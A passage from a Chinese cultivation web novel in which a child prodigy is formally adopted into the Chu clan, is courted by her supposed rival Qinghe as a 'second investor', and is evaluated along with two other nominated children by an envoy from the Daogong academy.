也是哦。望舒点头,放下手,被楚岱熙顺势牵住。
“走吧,吉时到了,该去见见楚家其他人了。”
-
议事大殿中,楚家高层齐聚一堂。
楚宴勉强算高层,在殿内混了个中间的位置,楚修……理论上是没有参加族会的资格的,但因为其特殊性,楚岱熙让他在大殿混了个最末的站位。
站在殿内最前方的是楚家五位长老,其中三长老与四长老是望舒没见过的。
三长老镜渊与二长老芷渊是同胞兄妹,二长老负责矿区,三长老负责灵植种植。
四长老是看着略微有些文气的男子,喜穿白袍,管楚家商铺与坊市。
五长老楚茗烟负责幼院与道宫恰接事宜,她是楚宴的顶头上司,这也是之前楚宴找楚茗烟预测望舒天赋的原因。
大长老在几位长老中修为最高,不常过问庶务。族长楚岱熙拥有楚家所有事务的监督管理权。
此时,这几位长老们站在一起,只为聊一件事。
“族长真生了个女儿?还都三岁了?”三长老镜渊非常好奇,那天他也接到了家族藏库的异动,只是身在族外,没来得及赶回来。
“可不。”一说起来楚芷渊就要感叹一下,“你不知道,那孩子可神异,跟个小大人似的。”
“三岁就觉醒了灵种,还是紫级。”
紫级。楚镜渊认可点头,楚家这一代子嗣稀疏,也就大长老的孙女是紫级,楚家能多这样一个有天赋的后辈,确实是一件令人振奋的好事。
他道:“那这是该接回来,好好认祖归宗。”
他对望舒的身份是一点没怀疑,觉得就是族长在外头生的……那些男人么,可有可无,但孩子,一定是他们家的。如今觉醒了这么好的天赋,那接回来,完全合情合理嘛。
楚芷渊嘴角噙着笑,看她的傻哥哥一脸认同,也不点破。
族长手段雷霆,她可犯不着得罪她。
四长老正正衣袖,一脸老实地说:“我备的见面礼是瀛洲南城的两件旺铺,算不算寒酸?”
一说起见面礼,大长老就想起了那天她在身上摸半天也没摸出东西的尴尬,面无表情地说:“她还小,两件旺铺,已经很拿得出手,等她大了,你再给更好的。”
站在大长老旁边眉眼精致的小女孩抬起脑袋:“我终于要有个妹妹了?妹妹很厉害吧?”
大长老脸色温和起来,笑着点点头:“她比你小五岁。”
小五岁,楚清河在心里快速换算,那就是现在才三岁。
三岁,是小了点,但也不晚。楚清河点点小脑袋,眼里闪烁着没人能看懂的光。
大殿中的私语,被压得极低,楚茗烟看着殿门,淡淡道:“吉时快到了。”
慢慢安静下来,众人双手交握,不约而同看向门口。
正点时分,殿门缓缓洞开,光勾勒出一道清晰明亮的剪影,是楚岱熙。
背光看不清她的面容,但不要紧,挺拔昂扬的姿态,松弛垂落的大袖,庄重夺目的金冠,无比鲜明地告知了
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她的身份。
楚岱熙站在门口,却不上前,而是缓缓伸出一只手,笑着看向右侧方。
殿内众人的视线跟随这个伸手的动作,看见右边门框后面,伸出了一只小手。
望舒的身影完整出现在殿口,同样的大红衣袍,宛如楚岱熙的缩小版。
在所有人的注视下,楚岱熙牵着望舒,光明正大、名正言顺,走入正殿。
一截不长不短的路,望舒走得平静。
到了最高的位置,楚岱熙将望舒抱起来,转身面向众人。
“诸位,正式介绍一下,这就是我的女儿,幼龄三岁,生于月望,我给她取名望舒,今日起正式计入楚氏族谱。尔等可有异议?”
楚岱熙将望舒抱起来面向众人的时候,他们才看清望舒的样子。
这是一位晶莹可爱的女童,浑身玉做的一般,黝黑纯然的眼瞳带着一抹不符合她年纪的冷静,静静看着众人,丝毫看不出紧张。
最特别的是,她的眉心点缀着一抹金色的印记,配合她澄然坦荡的目光,有种叫人望而心惊的神异。
没见过望舒的三长老四长老都被望舒额间的金印吓了一跳,眯着眼看,神色惊疑不定。
“那是、那是……”楚镜渊对妹妹传音,“相印?是我看错了吗?还是说,那是个胎记?可哪有这样的胎记。”
“你没看错。”楚芷渊冷静地说,“那就是个因为不明原因产生的相印,至于为什么产生,目前还没定论。”
相印还能是因为什么产生,不就是天赋神通么?楚镜渊迷茫的眼神中写满了疑惑。
楚芷渊勾了勾嘴角,道:“那孩子不叫我们这样说,说是没确定的事。”
“如此、如此……”楚镜渊难以评价。
而大长老则在品味望舒这个名字。驾月的神女么。大长老品出了这个名字暗中承载的祝福与期望。
无声叹一口气。
她想,这确实是个好名字,而那孩子,也配得上。
没有人表示异议,望舒三岁就觉醒灵种的人早已被消息灵通的人知悉,况且,她额间的金印又是那样的耐人寻味。
望舒,楚望舒。楚家确实需要这样一份希望,带领他们走向新的高度。
楚望舒看着台下诸多复杂的眼神,脑中想起的,是娘给她取名的场景。
因为望舒暂时还是个小文盲,为她取名的工作,就全然交托在了楚岱熙手里。
楚岱熙天天翻那本字说,抓耳挠腮,突然有一天兴奋地将望舒抱在膝上,字说翻开到其中一页。
“前望舒使先驱兮……”手指在这行轻轻划过,看着望舒的眼睛,认真地说:“天衡大陆的史籍曾记载过一名叫望舒的神女,她驾月而行,是光明的引领与先驱。”
“你又生于月望,娘觉得,这个名字天生属于你。”
“只盼我儿自由、进取,比月更前,比风更快。”
望舒怔怔看着那一行字,耳畔是娘温和有力的声音。
引领与先驱。比月更前,比风更快……原来这个名字,还可以有这样美好的解读。
望舒一直就叫望舒。
院长妈妈把她捡回来的时候,她的被包里只有一张皱巴巴的纸条,上面写着歪歪扭扭的两个字,“望舒”
于是院长妈妈就喊她望舒。
上辈子的望舒在这世上孤零零生活了十八年,从来没找到这名字的前缀。
这一世的望舒有了一点变化,她姓楚,还有一个妈妈。
望舒与望舒对视。她还是原来的望舒,也是全新的望舒。
楚岱熙看望舒久久不说话,心里也有些忐忑。她擅长舞刀弄枪,不擅长舞文弄墨。为一个全新的生命起名,她的人生从未有过。
有好多寓意想给她用上,这个不合适,那个也不适合。她是想了很久,才给望舒定了这个名字。
清清嗓子,楚氏族长略有些不自在地说:“怎么样,我的乖崽喜欢吗?”
楚望舒回神,扭过头,看向那双让她感到安心的眼睛。
她无比认真地说。
“妈妈,我喜欢的。”
8. 第二个天才投资人
【身份已更新,模拟器开启周期结算。】
【你,叫楚望舒,是瀛洲掌印世家楚氏族长唯一的女儿,三岁觉醒灵种,在族内拥有不同凡响的声誉,族人对你感到好奇,认为你的前途大有可为,未来充满希望。】
【他们不知道,一切来源于你苦心经营的天才身份,你珍稀现在拥有的一切,却又害怕它们随时失去。】
【你需要更多的争取,更多的特殊!才能稳固自己在族中的地位。】
【是的,你已经感觉到自己威胁的来源,那天在族会上见到的小女孩,大长老的孙女楚清河,她将是你家族资源、地位、甚至是未来继承人身份的有力竞夺者!】
模拟器叽里咕噜在望舒脑子里说了一大堆,时不时用非人腔说一些惊叹调,听起来就很诡异。
而望舒正在清点那日“认祖归宗”后她收到的见面礼。足足堆成了一个小山堆!放屋子里有望舒的两个人那么高。
怎么会有这么多!
望舒不理解,明明那天大殿看着也没多少人,就算一人送一个,也不至于堆这么高啊。
还是楚修跟她解释,说这很正常。
“您是族长的女儿,除了闭关的老祖,楚家上下,只要算个人物,都得给您送贺礼,本来这些东西在您百日时就该送的,现在已是晚了很多。”
哦,只要算个人物……望舒微微翘起嘴角,脑袋一歪,笑得纯然又天真:“那你在楚家,算人物吗?”
来了!楚修心中一紧,作为看着望舒长大的“第一投资人”,他可太清楚望舒的魔星本质了。
这可是在一岁时,就能专程把幼室的所有娃娃弄哭,就为了抢夺姆妈们注意力的超级魔星!在某些方向领地意识、占有欲超强!
楚修正襟危坐,也跟着微微一笑:“我以前,不算,遇到小姐后,就算了。”
他可说的是真话。
族会之后族长亲自见了他,专程问他以后要在哪里干,如果在幼院干,族长就让他在楚宴手底下当个副总管。
如果要跟着望舒干,就来朝夕阁,当望舒的专属管家。
楚修掐指一算,楚宴手底下有三个副手……当然,就算只有一个,楚修也不可能给那白胖子打工。
他早早地忘了自己最开始的梦想明明是来主家,现在二话不说,收拾包袱就来了朝夕阁。
莫名感觉自己被背刺的楚宴现在见了他就呲牙。
望舒听了这话,哦一声,一指那个礼物堆:“那你的贺礼,在哪儿呢?”
“正在此。”楚修淡定地从袖中摸出本书册一样的东西。
送书?
望舒狐疑地接过来,才发现是楚修自己写的修行笔记。
他才九品,当然是个低修为者,可望舒,却连品级都没有呢。楚修天赋不高,就把自己修行中遇到的所有问题,最终又是如何解决的,一一写了上去。
他的修行之路很艰辛,不然不会年过而立才九品,也正是因为如此,他遇到的问题又多又杂,几乎把新手会踩的坑都踩了一遍。
这是一本修行入门书、经验书,真正的高手写不来这样的书,却恰恰适合望舒这样刚入门的新手。
望舒将那本书大致翻了一遍,就感觉到了楚修的用心。
望舒向来珍惜这种用心,就笑起来,两边嘴角都上翘,清澈的眼眸认真看住对方,说:“谢谢,你送的礼物,我很喜欢。”
糟糕!楚修在心里大呼不好,小霸王又开始使她的手段了!
怪不得之前,望舒再哭再闹,祁山幼院的那帮姆妈们都心甘情愿地哄着她。被这双眼睛软软看住,明明是幼嫩的面孔,却总是用小大人的姿态说一些掏心窝子的话,这谁抵御得住?
就总忍不住想为她鞍前马后。楚修开始感觉自己也染上这症状了。
望舒不管楚修,继续看她的礼物。大长老第一次见她时没摸出来见面礼,这次一雪前耻,送她一个极为珍贵的东西。
望舒当然是不识货的。这个礼物,是被楚岱熙笑着挑拣出来的。
是一枚实心金镯,古法做工,镯上坠了一个精致小巧的金铃铛。摇动起来会发出凌凌的响声。
是挺贵重,但也很普通啊。望舒的眼神就透露出这样的意思。
楚岱熙一笑,将金镯捏手里,望舒就见到,这枚金镯不一会儿变成玉镯,又变成簪子,最后变成荷包。
“这是一枚能变幻各种形状的顶级储物灵器。契约之后,灵器里面的东西只有主人才能打开,哪怕摧毁其灵性,也会连带里面的东西一起摧毁。这样的好东西,我记得大长老只有两个,其中一个,在清河手上,没想到这个给了你。”
那确实很贵重了,另一个可是在亲孙女手里啊。
“不过没事。”楚岱熙随口说,“你收得起。刚刚那些佩饰的样子,你喜欢哪个?”
望舒点头,妈妈说她收得起,她就收得起。
“金镯铃铛。”望舒说。她喜欢那个小铃铛。
楚岱熙就这枚储物灵器重新变为金镯的样子,直接给望舒戴在手上。望舒一摇,铃铛就叮铃地响。她笑起来。
“说起来,”楚岱熙沉吟,“乖崽以后估计得和清河一起上课。”
“你们俩,单独。”
啊。望舒的目光从铃铛上收回,抬头。
楚岱熙看着她:“楚家这一代小辈中,目前觉醒灵种的,只有你们俩,她比你大五岁,算算年纪,你俩会在同一届进入道宫。”
一整个大家族,觉醒灵种的,竟然只有两个人吗?
望舒再次对灵种的稀少有了明确认知。
“家族打算全力培养你们,决定给你们每月进行一次灌塑,还是用上次的韵灵基液。”
“啊?”望舒脱口而出,“那养我们,岂不是很费钱?”
每月一次。上次拿一瓶韵灵基液,就用到了一位族长三位长老的手令,看他们的表情,就知道很肉痛了。现在这种情况每月都要来一次,这跟烧钱有什么区别。
“是啊,我们乖崽觉醒灵种后,就变成吞金兽了。”楚岱熙故意叹息。
望舒瞬间想了一大堆剧情。什么楚家表面风光,实际内底已经掏空,什么楚氏族长被几大长老分权掣肘,只是表面尊贵。
望舒皱起小眉头,为难了一会儿,抬眼:“那我不用每月灌塑,我三月……不,不用灌塑也行,我可以自己发育。”
逗孩子可真好玩啊。楚岱熙噗嗤一声笑出来:“放心吧,只一个你,娘还是养得起的。况且,像我们望舒这样的天才,家族抢着养都来不及,哪儿还用得上娘的私库呢。”
家族那点儿压箱底的东西不用,也许后面就没机会用了,还不如便宜她的乖崽。
望舒的出现给了全族希望,也分担了清河的压力。族会之后,几位长老经过商议,一致同意全力托举望舒与清河,给她们制定一个全面的培养计划。
每月一次韵灵基液的灵种灌塑,只是其中之一。
望舒点点头,娘说的内容好像也在验证模拟器的话——楚清河好像真是她绕不开的竞争对象哎。
有些话,娘没明说,但望舒自己也能琢磨过来。家族打算重点培养她们两人,可珍贵的资源终归是有限的,现在小还好说,等两人之间有了高下,还能像一开始那么分吗?
望舒在心里纠结半天,还是不打算退缩。她挺喜欢温和的大长老,对那个只见过一面的小女孩也没有恶感。
但,天才之间的事儿,那是说让就让的吗?
望舒鼓起脸颊,决定拿起宅斗剧本。
用这幅全力以赴的姿态,望舒正式与那位传说中的对手会面了。
嗯……一个梳着羊角髻的小姑娘,两个髻都系了粉色发带,手上戴着跟她一样的金镯铃铛,正歪着脑袋看她,眼尾上翘,右眼睑下方有颗细小的红痣。
一见她,就说:“妹妹,你终于来了,我等你等了很久。”
嗯?好像有哪里不对劲。
当然,除了开头这句莫名其妙的话,楚清河表现得都很正常。直到今日修行课程上完,她找到机会跟望舒单独相处。
楚家到处都是桃树,还有梅林,她们两个孩子,随
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便找个园子闷头一扎,一时半会儿还真没人能发现她们。
比如现在,这个梅林里面还有圆形石桌石凳,又有嶙峋假山,流觞曲水,端的是一种雅致。
可这种雅致,两个小姑娘都没眼光欣赏。
楚清河让望舒坐,在望舒大眼睛的注视下,开始从自己的金镯中稀里哗啦掏东西。
望舒打眼一瞅,各种亮晶晶形状大小不一,但质地都很纯净的灵石,最大的一颗有酒坛子那么大。
成打装的药瓶子、首饰、宝石。
一些小孩子喜欢捡的漂亮石头、蝉脱、蝴蝶翅膀、拥有奇怪纹路的树叶?
最后拿出来的一样东西,被楚清河郑重揣在手里,望舒一看那种清透质地的玉瓶,眼皮就是一跳。
怎么看着,有点眼熟?
“妹妹,这个你应该用过吧?”楚清河扒开瓶塞,让望舒看里面的东西。望舒瞥见一抹晃动的翠色,就开始感觉眼睛疼。
这不是韵灵基液吗?
至少四道手续才能从家族藏库中拿出来的东西,这位姐为什么会有?
像是怕她误会,楚清河不好意思地解释:“这是我每次灌塑灵种时偷着省下来的。”
可灌塑灵种不都要有大人在场吗?姐你是真有本事啊。
连带着那半瓶韵灵基液,楚清河将她所有的家当往望舒的方向一推,在望舒迷惑的视线下,满脸郑重地说:“妹妹,这些送给你。”
你敢送,我也不敢拿呀。望舒眨巴眼睛。
楚清河握住望舒的小手,情真意切地说:“请你务必要代替我,成为楚家的顶梁柱!”
望舒:?
“我会投资你的,以后我的零花钱,我每个月省下来韵灵基液,都给你用!”
所以,第二位独具眼光的天才投资人,就这样出现了是吗?
可我才刚刚拿起宅斗剧本啊?说好的继承人争夺战呢?
楚清河这一招,不仅是给望舒,也给模拟器打了个措手不及。脑中一向很神金的机械音,此刻听起来都犹疑了很多。
【开始了,两位楚家同代天骄在梅园中碰撞出了激烈的火花!你的伪天才光环竟如此强烈,继承人之战,在甫一开始,就差点让你摸着了胜利的冠冕。虽然,这是在你的竞争对手全面举旗的前提下。】
【然而,白给的胜利也是胜利。天才分+50!】
【从楚清河的态度中,你开始感到有一点不对劲。楚家顶梁柱的位置,似乎并不那么好做。】
【是稍微放缓天才之路,选择先和楚清河打个平手,摸清楚家顶梁柱背后要承担的意义,还是迎难而上,坚定做那个家族中最闪亮的崽?】
【你的选择是:】
【甲:苟住发育。以年龄小的优势,顺理成章躲在楚清河身后,等局势明朗,再行出手。】
【乙:必须发光。天才的属性都是灯泡,有一刻的黯淡都算我输。】
行,还是那么神金。
望舒没理模拟器,而是抬眼看向楚清河,声音稚嫩却清醒:“你认真的吗?”
“我超认真!”梳着羊角髻的头重重一点,粉色发带在她们之间浮起又落下。
“你能为自己的话负责吗?”
楚清河拍胸膛,口齿清晰地说:“我,是楚氏大长老楚静一的孙女,是楚家这一代小辈中除你之外的天赋最高者,五岁觉醒灵种,在家族一向说一不二。我特别能为自己的话负责。”
“那我收下了。”望舒真就没推辞,打开跟楚清河一模一样的金镯铃铛,开始往里塞东西。
酒坛子大的灵石,要。
宝石首饰,要。
漂亮石头奇怪树叶,还要。
最后半瓶韵灵基液,那肯定要啊。
两位楚氏天骄,在梅园下,隆重地完成了资产交接。
东西收好后,望舒抬眸,还是做了个保证:“要是我不是楚家顶梁柱,东西就还给你。当然,还不了的,那我也没办法。”
楚清河双手合十:“你可千万要是!”
奇怪的约定达成了。
9. 家族门面
望舒安心发育了两年,在五岁的某一天,被模拟器特别铭记,视为一次天才路的进阶。
这天,是家族正式将她的名字上报道宫,作为掌印世家瀛洲楚氏这一代的推举人。
又叫推举种子。
楚家的推举人有两个,一个是她,另一个就是楚清河。
这意味着,楚家已经确定她们是楚家这一代中最值得培养的后辈,并认为她们的资质能经受得住道宫与外界的考验。
正式确立推举人的掌印世家会散发出一种信号——“家族后继有人”。于家族内部来说,这是一件稳定人心的好事,于外部来说,意味着这个家族不会很快衰败,具有结交乃至交好的价值。
“假如你们通过了道宫的审核,道宫每月还会给你们发放韵灵基液,每人的份额是一瓶。”楚岱熙说。
她和大长老在幼院后方的梅园中找到了望舒与楚清河。
这地方现在已经成为她俩的秘密基地,搭了许多秋千架,有给两人修炼对战用的铁铸假人,管着灵植种植的三长老还给梅园中心埋了几个聚灵阵。
现在这里的红梅一年四季都有花开。
望舒坐在秋千上,脚点着地把自己微微荡起来,神情冷静说:“听起来像有坑,哪有一件事全是好处没有坏处的。”
“是啊是啊。”楚清河接话。她就狂野多了,直接站秋千上,用灵气推自己,前后荡老高。
族里现在都很习惯望舒说话的样子,大长老就说:“坏处么,不过是你们成为推举人后,会有人专程来挑战你们。赢了自是理所当然,输了,家族名誉会大跌,会被挑战你们的人踩着名气上位。”
“懂了。”望舒把秋千停住,抬眼说,“就是家族给自己立了个门面招牌,有这东西的家族自然面上好看,但也有被砸招牌的风险。”
此话一出,大长老和楚岱熙都笑了,楚岱熙更是弯腰捏了捏望舒微鼓的脸颊,疼爱地说:“就你会说话。”
望舒三岁时还像个玉雪可爱的小团子,大一点后多了修炼课,略微瘦了一些,但脸颊仍有肉,现在看起来完全就像个精心捏出来的漂亮小人。
“所以,我们望舒要做楚家的推举人吗?”楚岱熙跟着说。
望舒从秋千上下来,双脚点地站直身体,黝黑的眼眸定定看着楚岱熙,脆声说:“要。”
她是坚定的发光天才党。
假如只是因为怕失败,就放弃被家族托举,放弃走上台前的机会,她认为会掉自己的天才评级。
旁边的大长老也问楚清河:“清河呢?”
楚清河用灵力刹住秋千,手拽着两边绳子,眼珠一转,问:“我能说不吗?”
大长老微笑:“不能。”
切。楚清河轰地一声从秋千上砸下来,双手叉腰:“那不就结了。”
她从小到大一直在说不,但是根本没人听她的。楚清河早习惯了,好还她聪明,给自己找了个盼头。
得意地朝望舒丢了个小眼神过去。望舒翘了翘嘴角。
两天后,道宫正式派人来给望舒清河这两个推举人检测。
推举人不是家族随便捏个人出来就可以的,别的不说,道宫每个月都会实打实地拨下资源,他们当然要派人来检验。
望舒问:“道宫什么标准,我们不会被卡吧?”
“道宫自有一套看人的法子,从来没公布过标准。”因为要迎接道宫来人,楚岱熙今日穿得比较正式,大袖长袍,金冠都是华丽款的。
望舒当然也发现了这点。她知道为什么,因为道宫从某种意义上说,是管理他们这些掌印世家的最高机构。
道宫有点像是这个玄幻世界的“官方”,绝非简单的学校或是宗门那么简单。
它比学校更权威,比宗门更有统治力。
没有哪个学校宗门能让全大陆的天才到了年纪去它那儿报到,但道宫可以。
来给望舒她们检测的,是一位令主。
在此之前楚岱熙就给望舒科普过,道宫有十二令主,权利地位与掌印世家的家主平级。当然,由于道宫本身的权威性,在大众认可度上,甚至比家主还要高一级。
大长老皱了皱眉,似乎认为这是个不太好的信号:“令主的要求一般都更严格。”
但令主能亲来,本质上说是给楚家面子,这没有拒绝的道理。
令主并没有拿腔捏架,而是按时按点来了楚家。楚岱熙并几位长老都出去迎接令主,但望舒她们不用去。
“令主会自己过来,这是道宫的规矩,要看你们最自然的状态。”
于是望舒她们就在梅园等。
这里的她们,共有三人。望舒、楚清河,还有个叫许妙樱的小姑娘。
她并不是楚家人,而是楚家在瀛洲辖区的普通人家中,发掘出来的一位罕见觉醒了灵种的小天才。
楚家拥有对瀛洲的管理统治权,那么,在瀛洲地区的初步人才选拔,就是由楚家负责的,楚家幼院管的就是这个。
一年一次普筛,五年一次大筛,幼童到了五岁必须上报,楚家各级幼院会派人去检测天赋。
许妙樱就是被这样层层筛选出来的。
望舒和清河都不是第一次见她,因为人筛出来后,楚家是要负责教育和管理的。这是掌印世家的职责。
许妙樱从觉醒灵种后就一直在楚家幼院上课,偶尔还会去上望舒清河她俩人的“特训班”,跟望舒她们的关系,有点像同学。
许妙樱今天在这里,自有一番含义。
如果说,望舒与清河是楚家的推举,那么许妙樱,就有点像瀛洲民间天才的推举代表。
道宫天才如云,如果许妙樱走民间道院入道宫的路子,她会淹没在道宫众多人才中。
可如果她走楚家渠道,由楚家出面推举,就会得到一个令主亲见的机会。
这是楚家对许妙樱的投资。
这样的投资机会也不是人人都有的,至少望舒就知道,瀛洲这么大个地方,并不止许妙樱一个觉醒灵种的天才,楚家幼院里就还有个绿级灵种的男孩。
可最终只有许妙樱来了梅园。
望舒看着眼前这碟精致小巧的桃花糕,从她们在幼院认识开始,许妙樱没事就给她带东西,并不多珍贵,几块点心,或是草编的手工小玩意儿。
她看起来和望舒清河的关系“最好”
望舒将桃花糕塞嘴里,脸颊吃得鼓鼓的。心想,也许这就是妙樱的聪明之处。
她琢磨一个人,眼睛就不由自主盯过去,像小猫专心致志盯着窗外。
许妙樱双手交叉着,本来在紧张,感受到望舒的注视,那圆溜溜的眼睛……忍不住笑了一下,说:“怎么了?”
望舒拿出三个竹杯,里面都是灵奶。一杯灵奶往许妙樱跟前推,一杯给自己,楚清河不用说,伸手就捞过去了。
望舒道:“你别紧张,一会儿令主问什么,就你照实答就好了,那样的大人物,看什么不是一眼看到底的。要是答不上来,你就笑,像这样——”
望舒软软翘起两边嘴角。
楚清河吨吨吨把灵奶喝完,啪一下放下竹杯,抹嘴说:“不是人人都有你这样糊弄人的天赋啦。一会儿妙樱真跟令主笑,又紧张,嘴笑歪了,令主还以为这小孩没事冲她做鬼脸呢。”
“还不如你上去笑……哎,对喽,就像你现在瞪我一样瞪令主,令主保准被会被你额上的印子吸引,说不准就没空注意我俩了。”
哼。望舒收回瞪着楚清河的目光,稳重地喝了一口灵奶,说:“也不是不行。”
楚家正门,楚岱熙发现来的是位老熟人,微一挑眉,却还是先按照规矩道:“恭迎令主。”
没想到道宫派来的令主是她。道宫十二位令主,一部分深度参与道宫事务,一部分不问俗世。这位便是深度参与事务的令主之一,道宫四院的天院院长,姚希如,手握大权。
当然,她还有个微不足道的身份,楚岱熙的同年。
姚希如与楚岱熙一界入道宫,曾是一起竞夺排名的对手,在道宫掀起过风云。后来,楚岱熙出宫回族,继任族长,姚希如留在道宫任教,一路做到了院长。
姚希如见到楚岱熙的第一句话是:“听说你生了个女儿,我特来见见。”
“对了,你们楚家的推举,应该有她吧?”
一句话就叫楚岱熙挑眉,她抱起胸,曾经肆意昂扬的风姿没有丝毫折损。
她笑着回了两个字:“你猜?”
梅园中,望舒终于见到了令主。
这是一位穿着浅灰色素衣道袍的女子,腰悬玉珏双环,右边的玉环又缀有一根红色流苏,是为点睛之笔。灰色是容易显老气的颜色,被这女子穿来,却显得清雅。
她一入园中,目光在三个女孩身上划过,最终停在望舒身上。
她与望舒对视。望舒眨巴眼睛。
女子就笑起来,停在望舒跟前,弯腰:“我猜,她就是你的女儿?”
站在后面的楚岱熙得意地说:“怎么看出来的?”
“感觉。”姚希如回。
她虽然
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在跟楚岱熙对话,目光却一直在看望舒,看着看着,眼瞳就泛起金色。
哇!
望舒往后退了一步。
“喂,你别把我女儿吓着了。”楚岱熙扶住望舒,不满道。
姚希如笑着直起腰,看着望舒的目光温和却有深意,手指在掌心轻点,沉思一会儿,说:“你的天赋神通,与造化本质有关。”
楚岱熙挑眉:“希如,多年不见,你也开始搬弄那套糊弄人的把戏了。别说你没看出她额上的相印?能出现相印,自然涉及造化本质。”
姚希如笑容不变:“等她天赋觉醒,你就知道我是什么意思了。”
扭过头,发现望舒还在看她。澄明的眸子,清澈又坦荡。
姚希如的笑容温柔起来,重新蹲下,忍不住问:“你叫什么?”
“望舒。”望舒回。
望舒……姚希如的手在望舒的脸颊上轻轻一碰,很快收回,起身后对楚岱熙说:“你生了个好女儿。”
楚岱熙回了她一个那还用说的表情。
看过望舒,姚希如的目光自然地转向另外两位女孩,不需要任何人的介绍,视线停在楚清河身上,轻声说:“我猜,你也姓楚?”
这是道宫的令主,清河难免是有些紧张的,却镇定抬了抬下巴,颔首道:“回令主,我叫楚清河。”
姚希如一笑,眼眸同样闪起金光,这次她的判断很快,几乎没有任何停顿。
姚希如说:“你的天赋,需与强者同行。强者越强,你越强。”
她最后看向了许妙樱。
许妙樱头发的左右两边簪了粉色的桃花,看起来清新可爱。在令主看过来的时候,双手忍不住攥紧了裙角。
能被楚家选中,推举到令主跟前,许妙樱付出了很多心力。
她很紧张,很想表现自己,却不知该如何表现。
这时候,许妙樱想起了望舒的话。也许在这样的大人物面前,我做任何表现,都是稚嫩的、拙劣的。
许妙樱最终放下紧张,学着望舒的样子,翘起嘴角,乖巧道:“见过令主,我叫许妙樱。”
她与望舒的乖巧笑不同。望舒对人笑,眼神要直勾勾看人,别人一看,就知道这孩子有她自己的主意,是“犟种的微笑”
许妙樱的乖巧笑,看起来是真乖巧。她脸型偏尖,是标准的瓜子脸,眼眸走势下垂,卧蚕天生明显。
她笑起来,别人会觉得这孩子真乖,叫人忍不住心软。
姚希如的笑容果然就更柔软了一些,却并不是因为妙樱的乖巧,而是她看出了,这孩子在讨好她。
她需要放松姿态,让这孩子不那么紧张。
姚希如伸手在许妙樱头上轻抚了两下,眼眸金光亮起,沉默一会儿,看着她说:“你的天赋,在面对他人时,将获得更加从容安全的姿态,你会因此变强。”
“但……”姚希如说出这个字,却突然止住。
望舒清河没听到声音,都好奇地朝这边看。
“但,也会更容易迷失。你需找到一个锚点,坦然真实地做你自己。”这句话单独在妙樱脑中响起。
楚岱熙微微挑眉,意识到姚希如用了传音。
许妙樱身体一定,眼眸睁大。
三个女孩都看完,姚希如转回来看着楚岱熙。楚岱熙抱着胸,一刻都不等,直接就问:“怎么样啊,令主大人,我们家这三个孩子。”
姚希如轻轻一笑:“希望下届道宫开启时,能见到她们的身影。”
这应该就是通过的意思。望舒在心里想,真好用啊,令主的天赋,也不知道我的天赋是什么。
她的视线粘着令主打转,叫令主完全没法儿忽视她。
“我该回道宫复命了。”姚希如对楚岱熙说,眼睛却看望舒。
这孩子的目光有种惊人的直白。她不掩饰自己。
姚希如想了想,伸手扯下腰间的红穗,蹲到望舒跟前,看着她,说:“这根红穗,在某些场合,能代表我。它有一定分量,我愿赠你,你可接受?”
楚岱熙提起眉梢。她可没跟望舒说过红穗的意义。
望舒看着这根红穗,又看看令主。有分量的东西都不好接。
可连目光都是有分量的,这万事万物,其中分量,只有多少,无法归零。望舒在心里平静地想,连荣耀加冕,都是分量。
望舒最终抬眸,轻声说:“凡我所得到的,都是我想要的。”
“多谢令主,望舒想要。”
望舒双手朝上,郑重接过红穗。
10. 脑袋尖尖
令主走后,楚岱熙才跟望舒说了红穗的意义。
“道宫弟子佩铃,掌师佩玉,令主佩珏。掌师和令主的玉都可以悬穗,掌师为黑穗,令主为红穗。”
“而将自己的穗,赠给看好的弟子,意为赠穗,表示喜爱、看好。曾有道宫百席弟子,备受掌师令主的喜爱,身上悬了十多个穗,闻名道宫。”
望舒点头。懂,这就叫“我是老师们的万人迷弟子”,有些人天生就招老师的喜爱,这没招。
看望舒连点小脑袋,头上的金蝉晃动翅膀,楚岱熙微微一笑:“后来那个弟子,在一次秘境试炼中被百人围攻,深受重伤,从百席跌落,从此一蹶不振。”
望舒:。
“赠穗是喜爱,可爱自然有分量。令主赠穗时已和你说明过,望舒可知?”楚岱熙说。
“我知。”望舒点头,“那我,也不还。”
她认真地将红穗收在自己的金镯铃铛里,收好后还欢喜地摇了摇。
“看我说什么来着。”令主一走,楚清河就支棱起来,大摇大摆走到望舒旁边,耸耸小鼻子,“望舒你一笑,令主的目光就全在你身上了,瞧,可不就安全过关啦。”
“那是姐姐你的天赋好,跟我有什么关系。”望舒无辜眨眼睛。
旁边的许妙樱则在想令主传音提醒她的那句话。她今年八岁,还没到觉醒天赋的时候,不知天赋,也就不知令主的话到底该何解。
她有一点点不安与困惑,却更多的是欣喜。至少今日得到了令主的认可,她多年的努力没有白费。
道宫之后定有资源下达,她没有辜负楚家的“推举”
看着楚氏族长,她乖巧道:“多谢族长。”
楚岱熙温柔地拍了拍妙樱的后脑勺。她知道姚希如传音跟这孩子说了什么,却不打算过问。
许妙樱干劲十足回了自己的院子,见过令主之后,她更想长大了。
她想快点觉醒天赋神通。
许妙樱一走,楚清河更自在了,拽上楚岱熙的袖子,乐呵呵地说:“族长,刚才你听令主说了吗,我注定要与强者同行。”
一把抱起望舒,像举牌子一样把她举起来:“望舒就是我的强者!”
这个活宝……楚岱熙面露无奈,她自己已经够个性了,没想到楚家还能出一个比她还个性的。
被举起的望舒面无表情。说实在的,她佩服的人不多,这位姐就算是一个。
从小敢想敢干不说,最牛的是前不久她觉醒天赋的时候。
楚家挑在这个时候推举望舒与清河,自然是有一番缘由的。只要将推举名额报上去,道宫必会来人。
家族对望舒很有信心,就凭她额上的相印,怎么说也不会被卡。
有点风险的是清河。紫级灵种天赋当然不差,可道宫见过的人才太多了,她最好能觉醒一个不错的天赋,这样才比较保险。
于是选推举的事就这样拖到了清河十岁,她真正觉醒天赋的时候。
那天,天高云阔,气朗风清。
望舒与清河正在进行每月一次的灵种灌塑。结束之后,楚清河睁开眼睛,琢磨琢磨,突然平地扔下一颗惊雷。
“我好像觉醒天赋了。”
楚清河觉醒的天赋,叫“狐假虎威”。根据她模糊的描述,大意是她可以选中一至几个对象,在这些对象爆发威势之时,借其力量,让自己实力翻倍。
望舒听完,就说,这不是狗仗人势吗?
楚清河听了气得要打她。一想这是自己从小选中的大腿,握拳忍了,捏捏望舒的脸颊说:“你这小嘴儿淬了毒,啊,那咱叫狐假虎威不是好听些吗?你是我的虎,我是你的狐。”
楚岱熙当时是给她们灌塑灵种的人,心说,对啊,那清河的天赋觉醒得很不赖嘛。
她是有眼光的人,立马想到,只要清河找到稳定的借势对象,她的实力几乎就可以同等于翻倍后的实力。
至于清河把望舒当虎,很对劲嘛,我崽多有威风。
